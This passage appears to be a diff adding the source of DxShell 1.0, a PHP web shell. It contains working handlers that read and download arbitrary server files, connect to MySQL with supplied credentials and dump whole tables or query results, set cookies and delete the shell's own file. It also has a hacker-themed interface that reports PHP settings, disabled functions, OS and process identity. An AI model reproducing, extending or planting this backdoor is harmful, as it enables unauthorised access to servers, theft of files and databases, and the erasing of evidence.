'R0lGODlhEAAQAJEAADyFFLniPu79wP///yH5BAEAAAMALAAAAAAQABAAAAI3nD8AyAgiVnMihDidldmAnXFfIB6Pomwo9kCu5bqpRdf18qGjTpom6AkBO4lhqHLhCHtEj/JQAAA7', + 'exec' => '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', + 'rename'=> 'R0lGODlhEAAQAJEAAP///wAAAP///wAAACH5BAEAAAIALAAAAAAQABAAAAIxlI8GC+kCQmgPxVmtpBnurnzgxWUk6GFKQp0eFzXnhdHLRm/SPvPp5IodhC4IS8EoAAA7', + 'ed' => 'R0lGODlhEAAQAKIAAAAzZv////3Tm8DAwJ7R/Gmd0P///wAAACH5BAEAAAYALAAAAAAQABAAAANDaAYM+lABIVqEs4bArtRc0V3MMDAEMWLACRSp6kRNYcfrw9h3mksvHm7G4sF8RF3Q1kgqmZSKZ/HKSKeN6I/VdGIZCQA7', + 'downl' => 'R0lGODlhEAAQAJEAADyFFIXQLajcOf///yH5BAEAAAMALAAAAAAQABAAAAI6nAepeY0CI3AHREmNvWLmfXkUiH1clz1CUGoLu0JLwtaxzU5WwK89HxABgESgSFM0fpJHx5DWHCkoBQA7', + 'gzip' => 'R0lGODlhEAAQAKIAAARLsHi+//zZWLJ9DvEZAf///wAAAAAAACH5BAEAAAUALAAAAAAQABAAAANCWLrQDkuMKUC4OMAyiB+Pc0GDYJ7nUFgk6qos56KwJs9m3eLSapc83Q0nnBhDjdGCkcFslgrkEwq9UKHS6dLShCQAADs=', + ); + @ob_clean(); + if ((!isset($_GET['dximg'])) OR (!in_array($_GET['dximg'], array_keys($IMGS)))) $_GET['dximg']='noone'; + header('Cache-Control: public'); + header('Expires: '.Date('r', time()+60*60*24*300)); + header('Content-type: image/gif'); + print base64_decode( (is_array(($IMGS[$_GET['dximg']])))?$IMGS[$_GET['dximg']][1]:$IMGS[$_GET['dximg']] ); + die(); + } + +if ($_GET['dxmode']=='F_DWN') + { + if (!isset($_GET['dxfile'])) die(DxError('No file selected. Check $_GET[\'dxfile\'] var')); + if (!file_exists($_GET['dxfile'])) die(DxError('No such file')); + if (!is_file($_GET['dxfile'])) die(DxError('Hey! Find out how to read a directory in notepad, and u can call me "Lame" =) ')); + + $DxDOWNLOAD_File=array(); /* prepare struct */ + $DxDOWNLOAD_File['filename']=basename($_GET['dxfile']); + if (isset($_GET['dxparam'])) + $DxDOWNLOAD_File['headers'][]=('Content-type: text/plain'); /* usual look thru */ + else + { $DxDOWNLOAD_File['headers'][]=('Content-type: '.mime_content_type($_GET['dxfile'])); + $DxDOWNLOAD_File['headers'][]=('Content-disposition: attachment; filename="'.basename($_GET['dxfile']).'";'); + } + $DxDOWNLOAD_File['content']=file_get_contents($_GET['dxfile']); + } + +if ($_GET['dxmode']=='SQL' AND isset($_POST['dxparam'])) + {/* download query results */ if (!isset($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'],$_GET['dxsql_d'],$_POST['dxsql_q'])) + die(DxError('Not enough params: $_GET[\'dxsql_s\'],$_GET[\'dxsql_l\'],$_GET[\'dxsql_p\'],$_GET[\'dxsql_d\'],$_POST[\'dxsql_q\'] needed')); + + if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0)) + die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + if (!mysql_select_db($_GET['dxsql_d'])) + die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + + /* export as csv */ + $DxDOWNLOAD_File=array(); /* prepare struct */ + $DxDOWNLOAD_File['filename']='Query_'.$_GET['dxsql_s'].'_'.$_GET['dxsql_d'].'.csv'; + $DxDOWNLOAD_File['headers'][]=('Content-type: text/comma-separated-values'); + $DxDOWNLOAD_File['headers'][]=('Content-disposition: attachment; filename="'.$DxDOWNLOAD_File['filename'].'";'); + $DxDOWNLOAD_File['content']=''; + + $_POST['dxsql_q']=explode(';',$_POST['dxsql_q']); + + for ($q=0;$q<count($_POST['dxsql_q']);$q++) + { if (empty($_POST['dxsql_q'][$q])) continue; + $num=DxMySQL_FetchResult(DxMySQLQ($_POST['dxsql_q'][$q], false), $DUMP, false); + $DxDOWNLOAD_File['content'].="\n\n".'QUERY: '.str_replace(array("\n",";"), array('',"<-COMMA->"), str_replace("\r",'', $_POST['dxsql_q'][$q] )).";"; + if ($num<=0) {$DxDOWNLOAD_File['content'].="\n".'Empty;'; continue;} + foreach ($DUMP[0] as $key => $val) $DxDOWNLOAD_File['content'].=$key.";"; /* headers */ + for ($l=0;$l<count($DUMP);$l++) + { $DxDOWNLOAD_File['content'].="\n"; + $INDEXES=array_keys($DUMP[$l]); + for ($i=0; $i<count($INDEXES); $i++) + $DxDOWNLOAD_File['content'].=str_replace(array("\n",";"), array('',"<-COMMA->"), str_replace("\r",'', $DUMP[$l][ $INDEXES[$i] ])).";"; + + } + } + } + +if ($_GET['dxmode']=='SQLD' AND isset($_POST['dxsql_tables'])) + { if (!isset($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'],$_GET['dxsql_d'],$_POST['dxsql_tables'])) + die(DxError('Not enough params: $_GET[\'dxsql_s\'],$_GET[\'dxsql_l\'],$_GET[\'dxsql_p\'],$_GET[\'dxsql_d\'],$_POST[\'dxsql_tables\'] needed')); + + if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0)) + die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + if (!mysql_select_db($_GET['dxsql_d'])) + die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + + if (empty($_POST['dxsql_tables'])) die(DxError('No tables selected...')); + + $DxDOWNLOAD_File=array(); /* prepare struct */ + $DxDOWNLOAD_File['filename']='Dump_'.$_GET['dxsql_s'].'_'.$_GET['dxsql_d'].'.sql'; + $DxDOWNLOAD_File['headers'][]=('Content-type: text/plain'); + $DxDOWNLOAD_File['headers'][]=('Content-disposition: attachment; filename="'.$DxDOWNLOAD_File['filename'].'";'); + $DxDOWNLOAD_File['content']=''; + + $DxDOWNLOAD_File['content'].="\n\t".'/* '.str_repeat('=', 66); + $DxDOWNLOAD_File['content'].="\n\t".'==== MySQL Dump '.DxDate(time()).' - DxShell v'.$GLOB['SHELL']['Ver'].' by o_O Tync'; + $DxDOWNLOAD_File['content'].="\n\t".'==== Server: '.$_GET['dxsql_s']; + $DxDOWNLOAD_File['content'].="\n\t".'==== DB: '.$_GET['dxsql_d']; + $DxDOWNLOAD_File['content'].="\n\t".'==== Tables: '."\n\t\t\t".implode(', '."\n\t\t\t", $_POST['dxsql_tables']); + $DxDOWNLOAD_File['content'].="\n\t".str_repeat('=', 66).' */'; + + if (!empty($_POST['dxsql_q'])) + { $_POST['dxsql_q']=explode(';', $_POST['dxsql_q']); + foreach ($_POST['dxsql_q'] as $CUR) + if (empty($CUR)) continue; else DxMySQLQ($CUR, true); /* pre-query */ + } + + foreach ($_POST['dxsql_tables'] as $CUR_TABLE) + { $DxDOWNLOAD_File['content'].=str_repeat("\n", 5).'/* '.str_repeat('-', 40).' */'; + DxMySQL_FetchResult(DxMySQLQ('SHOW CREATE TABLE `'.$CUR_TABLE.'`;', false), $DUMP, true); + $DxDOWNLOAD_File['content'].="\n".$DUMP[0][1]; + $DxDOWNLOAD_File['content'].="\n\n"; + DxMySQL_FetchResult(DxMySQLQ('SELECT * FROM `'.$CUR_TABLE.'`;', false), $DUMP, true); + for ($i=0; $i<count($DUMP); $i++) + { + for ($j=0;$j<count($DUMP[$i]);$j++) $DUMP[$i][$j]=mysql_real_escape_string($DUMP[$i][$j]); + $DxDOWNLOAD_File['content'].="\n".'INSERT INTO `'.$CUR_TABLE.'` VALUES ("'.implode('", "', $DUMP[$i]).'");'; + } + } + } + +if ($_GET['dxmode']=='COOK' AND isset($_POST['dxparam'])) + { foreach ($_POST['dxparam'] as $name => $val) + { if ($name=='DXS_NEWCOOK') + { + if (empty($val['NAM']) or empty($val['VAL'])) continue; DxSetCookie($val['NAM'], $val['VAL'], time()+60*60*24*10); + } + else DxSetCookie($name, $val, (empty($val))?1:(time()+60*60*24*10)); + } + DxGotoURL(DxURL('leave', 'dxmode')); + die(); + } + +if (isset($_GET['dxinstant'])) + { $_GET['dxinstant']=strtoupper($_GET['dxinstant']); + if ($_GET['dxinstant']=='DEL') + { + $ok=@unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); + print '<script>window.alert("SELF '.( ($ok)?'deleted. Reload the page to believe me =)':'tried to delete but was unsuccessful' ).'");</script>'; + } + } + +function DxObGZ($s) {return gzencode($s);} + +if (isset($DxDOWNLOAD_File)) + {/* File downloader for everything */ + if (!$DXGLOBALSHIT) + { + if ($GLOB['SYS']['GZIP']['CanOutput']) + { + ini_set('output_buffering',4096); + ob_start("DxObGZ"); + header('Content-Encoding: gzip'); + } for ($i=0; $i<count($DxDOWNLOAD_File['headers']); $i++) header($DxDOWNLOAD_File['headers'][$i]); + print $DxDOWNLOAD_File['content']; + die(); + } + /* if u want to download file when $DXGLOBALSHIT, scroll down */ + } + +################################################################################### +####################++++++++++++++# M A I N #++++++++++++++++++#################### +################################################################################### +if (!in_array($_GET['dxmode'], array_keys($GLOB['DxMODES']))) die(DxError('Unknown $_GET[\'dxmode\']! check $GLOB[\'DxMODES\'] array')); + +######## +######## Main HAT (blackhat? =))) ) +######## +if (!in_array($_GET['dxmode'], array_keys($GLOB['DxMODES']))) die('Unknown $_GET[\'dxmode\']'); + +if ($DXGLOBALSHIT) + print str_repeat("\n", 20).'<!--SHELL HERE-->'; +?> +<html><head><title><?=$_SERVER['HTTP_HOST'];?> --= DxShell 1.0 - by o_O Tync =-- :: <?=$GLOB['DxMODES'][$_GET['dxmode']];?></title> +<Meta Http-equiv="Content-Type" Content="text/html; Charset=windows-1251"> +<link rel="shortcut icon" href="<?=DxURL('kill','dxmode');?>&dxmode=IMG&dximg=DxS"> +<http://leet.phpnet.us/sh.gif> +<style> +img {border-width:0pt;} +body, td {font-size: 10pt; color: #00B000; background-color: #000000; font-family: Arial;padding:2pt;margin:2pt; vertical-align:top;} +h1 {font-size: 14pt; color: #00B000; background-color: #002000; font-family: Arial Black; font-weight: bold; text-align: center;} +h2 {font-size: 12pt; color: #00B000; background-color: #002000; font-family: Courier New; text-align: center;} +h3 {font-size: 12pt; color: #F0F000; background-color: #002000; font-family: Times New Roman; text-align: center;} +caption {font-size: 12pt; color: #00FF00; background-color: #000000; font-family: Times New Roman; text-align:center; border-width: 1pt 3pt 1pt 3pt;border-color:#FFFF00;border-style:solid solid dotted solid;padding: 5pt 0pt;} +td.h2_oneline {font-size: 12pt; color: #00B000; font-family: Courier New; text-align: center;background-color: #002000; border-right-color:#00FF00;border-right-width:1pt;border-right-style:solid;vertical-align:middle;} +td.mode_header {font-size: 16pt; color: #FFFF00; font-family: Courier New; text-align: center;background-color: #002000; vertical-align:middle;} +table.outset, td.outset {border-width:3pt; border-style:outset; border-color: #004000;margin-top: 2pt;vertical-align:middle;} +table.bord, td.bord, fieldset {border-width:1pt; border-style:solid; border-color: #003000;vertical-align:middle;} +hr {border-width:1pt; border-style:solid; border-color: #005000; text-align: center; width: 90%;} +textarea.bout {border-color: #000000; border-width:0pt; background: #000000; font: 12px verdana, arial, helvetica, sans-serif; color: #00FF00; Scrollbar-Face-color:#000000;Scrollbar-Track-Color: #000000;} +td.listing {background-color: #000500; font-family: Courier New; font-size:8pt; color:#00B000; border-color: #003000;border-width:1pt; border-style:solid; border-collapse:collapse;padding:0pt 3pt;vertical-align:top;} +td.linelisting {background-color: #000500; font-family: Courier New; font-size:8pt; color:#00B000; border-color: #003000;border-width:1pt 0pt; border-style:solid; border-collapse:collapse;padding:0pt 3pt;vertical-align:middle;} +table.linelisting {border-color: #003000;border-width:0pt 1pt; border-style:solid;} +td.js_floatwin_header {background-color:#003300;font-size:10pt;font-weight:bold;color:#FFFF00;border-color: #00FF00;border-width:1pt; border-style:solid;border-collapse:collapse;} +td.js_floatwin_body {background-color:#000000;font-size:10pt;color:#00B000;border-color: #00FF00;border-width:1pt; border-style:solid;border-collapse:collapse;} +font.rwx_sticky_bit {color:#FF0000;} +.highlight_txt {color: #FFFF00;} +.achtung {color: #000000; background-color: #FF0000; font-family: Arial Black; font-size: 14pt; padding:0pt 5pt;} + +input {font-size: 10pt;font-family: Arial; color: #E0E000; background-color: #000000; border-color:#00FF00 #005000 #005000 #FFFF00; border-width:1pt 1pt 1pt 3pt;border-style:dotted dotted dotted solid; padding-left: 3pt;overflow:hidden;} +input.radio {border-width:0pt;color: #FFFF00;} +input.submit {font-size: 12pt;font-family: Impact, Arial Black; color :#00FF00; background-color: #002000; border-color: #00FF00; border-width:0pt 1pt 1pt 0pt; border-style: solid; padding:1pt;letter-spacing:1pt;padding:0pt 2pt;} +input.bt_Yes {font-size: 14pt;font-family: Impact, Arial Black; color :#00FF00; background-color: #005000; border-color: #005000 #005000 #00FF00 #005000; border-width:1pt 1pt 2pt 1pt; border-style: dotted dotted solid dotted; height: 30pt; padding:10pt; margin: 5pt 10pt;} +input.bt_No {font-size: 14pt;font-family: Impact, Arial Black; color :#FF0000; background-color: #500000; border-color: #500000 #500000 #FF0000 #500000; border-width:1pt 1pt 2pt 1pt; border-style: dotted dotted solid dotted; height: 30pt; padding:10pt; margin: 5pt 10pt;} +input.bt_Yes:Hover {color:#000000; background-color:#00FF00;border-bottom-color:#FFFFFF;} +input.bt_No:Hover {color:#000000; background-color:#FF0000;border-bottom-color:#FFFFFF;} +textarea {color:#00FF00; background-color:#001000;border-color:#000000;border-width:0pt;border-style:solid;font-size:10pt;font-family:Arial;Padding:5pt; + Scrollbar-Face-Color: #00FF00; Scrollbar-Track-Color: #000500; + Scrollbar-Highlight-Color: #00A000; Scrollbar-3dlight-Color: #00A000; Scrollbar-Shadow-Color: #005000; + Scrollbar-Darkshadow-Color: #005000;} +select {background-color:#001000;color:#00D000;border-color:#D0D000;border-width:1pt;border-style:solid dotted dotted solid;} + +A:Link, A:Visited { color: #00D000; text-decoration: underline; } +A.no:Link, A.no:Visited { color: #00D000; text-decoration: none; } +A:Hover, A:Visited:Hover , A.no:Hover, A.no:Visited:Hover { color: #00FF00; background-color:#003300; text-decoration: overline; } +.Hover:Hover {color: #FFFF00; cursor:help;} +.HoverClick:Hover {color: #FFFF00; cursor:crosshair;} +span.margin {margin: 0pt 10pt;} +td.error {color:#000000; background-color: #FF0000; font-weight: bold; font-size: 11pt;} +td.warning {color:#000000; background-color: #D00000; font-size: 11pt;} +font.img_replacer {margin:1pt;padding:1pt;text-decoration: none;border-width:1pt;border-color:#D0D000;border-style:solid;} +</style> + +<?php +if (in_array($_GET['dxmode'], array('UPL', 'DIR', 'PRT'))) + { /* THIS FLOATING WINDOW IS ONLY SET FOR MODES: */?> +<SCRIPT> +var dom = document.getElementById?1:0; +var ie4 = document.all && document.all.item; +var opera = window.opera; //Opera +var ie5 = dom && ie4 && !opera; +var nn4 = document.layers; +var nn6 = dom && !ie5 && !opera; +var vers=parseInt(navigator.appVersion); +var good_browser = (ie5 || ie4); +function showwin(hdr,txt,w,vis) +{ +if(good_browser) + { + var obj = document.all('js_floatwin'); + var evnt = event; + var xOffset = document.body.scrollLeft; + var yOffset = document.body.scrollTop; + + var temp = + "<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=0 WIDTH="+ w +">" + +((hdr!='')?("<TR><TD class=js_floatwin_header>"+ hdr + "</TD></TR>"):"") + +"<TR><TD class=js_floatwin_body>" + txt + "</TD></TR>" + +"</TABLE>"; + + if (vis == 1) + { + obj.innerHTML = temp; + obj.style.width = w; + hor = document.body.scrollWidth - obj.offsetWidth; + posHor = xOffset + evnt.clientX + 10; + posHor2 = xOffset + evnt.clientX - obj.offsetWidth - 5; + posVer = yOffset + evnt.clientY - obj.offsetHeight - 5; + + if (posHor<hor) + obj.style.posLeft = posHor + else + obj.style.posLeft = posHor2; + + obj.style.posTop = posVer; + + obj.style.visibility = "visible"; + } + else + { + obj.style.visibility = "hidden"; + obj.style.posTop = 0; + obj.style.posLeft = 0; + } + } +} +function movewin() +{ +if (good_browser) + { + var obj = document.all('js_floatwin'); + var evnt = event; + var xOffset = document.body.scrollLeft; + var yOffset = document.body.scrollTop; + + hor = document.body.scrollWidth - obj.offsetWidth; + posHor = xOffset + evnt.clientX + 10; + posHor2 = xOffset + evnt.clientX - obj.offsetWidth - 5; + posVer = yOffset + evnt.clientY - obj.offsetHeight - 5; + + if (posHor<hor) + obj.style.posLeft = posHor + else + obj.style.posLeft = posHor2; + + obj.style.posTop = posVer; + } +} +</SCRIPT> +<?php } /* /END */?> + +</head> +<body> +<?php +if ($DXGLOBALSHIT) /* tries to kill all the fucking bug.php pre-output, if ob_clean() failed */ + { print str_repeat("\n", 10).'<!--SHIT KILLER-->'; + print "\n".'</body></a>'.str_repeat('</table>', 5).str_repeat('</div>', 5).str_repeat('</span>', 5).str_repeat('</pre>', 1).str_repeat('</font>', 5).str_repeat('</script>', 2); + print "\n".'<TABLE WIDTH=100% BORDER=0 style="position:absolute;z-index:100;top:0pt;left:0pt;width:100%;height:100%;"><tr><td>'; + print "\n\n\n\n"; + } +?> + +<div id="js_floatwin" style="z-index:50;position:absolute;left:0;top:0;visibility:hidden"></div> +<table width=100% cellspacing=0 cellpadding=0 class=outset> +<tr> + <td width=100pt class=h2_oneline><a href="<?=DxURL('kill', '');?>&dxmode=WTF" class=no><h1>DxShell<br>v<?=$GLOB['SHELL']['Ver'];?></td> + <td> +<?php +print "\n".'<div style="margin-right:'.( ((strlen($GLOB['SHELL']['USER']['Login'])+strlen($GLOB['SHELL']['USER']['Passw']))>=2)?'100':'30' ).'pt;">'; +print "\n".( ($DXGLOBALSHIT)?'<font color=#FF0000><b>GLOBALSHIT</b></font> ; ':'' ); +print "\n".DxPrint_ParamState('php_ver', phpversion() ).' ; '; +print "\n".DxPrint_ParamState('php_Safe_Mode', $GLOB['PHP']['SafeMode'], '!' ).' ; '; +print "\n".DxPrint_ParamState('magic_quotes', (bool)get_magic_quotes_gpc(), '!' ).' ; '; +print "\n".DxPrint_ParamState('gZip', function_exists('gzencode') ).' ; '; +print "\n".DxPrint_ParamState('cURL', function_exists('curl_version') ).' ; '; +print "\n".DxPrint_ParamState('MySQL', function_exists('mysql_connect') ).' ; '; +print "\n".DxPrint_ParamState('MsSQL', function_exists('mssql_connect') ).' ; '; +print "\n".DxPrint_ParamState('PostgreSQL', function_exists('pg_connect') ).' ; '; +print "\n".DxPrint_ParamState('Oracle', function_exists('ocilogon') ).' ; '; +print "\n".'Disabled functions: '.((($df=@ini_get('disable_functions'))=='')?'<font color=#00FF00><b>NONE</b></font>':'<font color=#FF0000><b>'.str_replace(array(',',';'), ', ', $df).'</b></font>'); +print "\n".'</div>'; + +print "\n\n".'<span align=right style="position:absolute;z-index:1;right:0pt;top:0pt;"><table><tr><td class="h2_oneline"><nobr>'; +if ((strlen($GLOB['SHELL']['USER']['Login'])+strlen($GLOB['SHELL']['USER']['Passw']))>=2) + print "\n".'<a href="'.DxURL('kill', 'dxinstant').'&dxinstant=logoff" title="Log Off" class=no>[Exit]</a>'; +print "\n".'<a href="'.DxURL('kill', 'dxinstant').'&dxinstant=DEL" title="Delete self ('.basename($_SERVER['PHP_SELF']).')" class=no><font color=#FF0000;>'.DxImg('del').'</font></a>'; +print "\n".'</nobr></td></tr></table></span>'; + +print "\n\n".'<hr>'; +print "\n".'Disk free: <b>'.DxStr_FmtFileSize(disk_free_space($GLOB['FILES']['CurDIR'])).' / '.DxStr_FmtFileSize(disk_total_space($GLOB['FILES']['CurDIR'])).'</b> ; '; +print "\n".'OS: <b>'.$GLOB['SYS']['OS']['id'].' ('.$GLOB['SYS']['OS']['Full'].' )</b> ; '; +print "\n".'Yer_IP: <b>'.@$_SERVER['REMOTE_ADDR'].' ('.@$_SERVER['REMOTE_HOST'].')</b> ; '; +print "\n".'<nobr>Own/U/G/Pid/Inode:<wbr><b>'.get_current_user().' / '.getmyuid().' / '.getmygid().' / '.getmypid().' / '.getmyinode().'</b> ; </nobr>'; +print "\n".'MySQL : 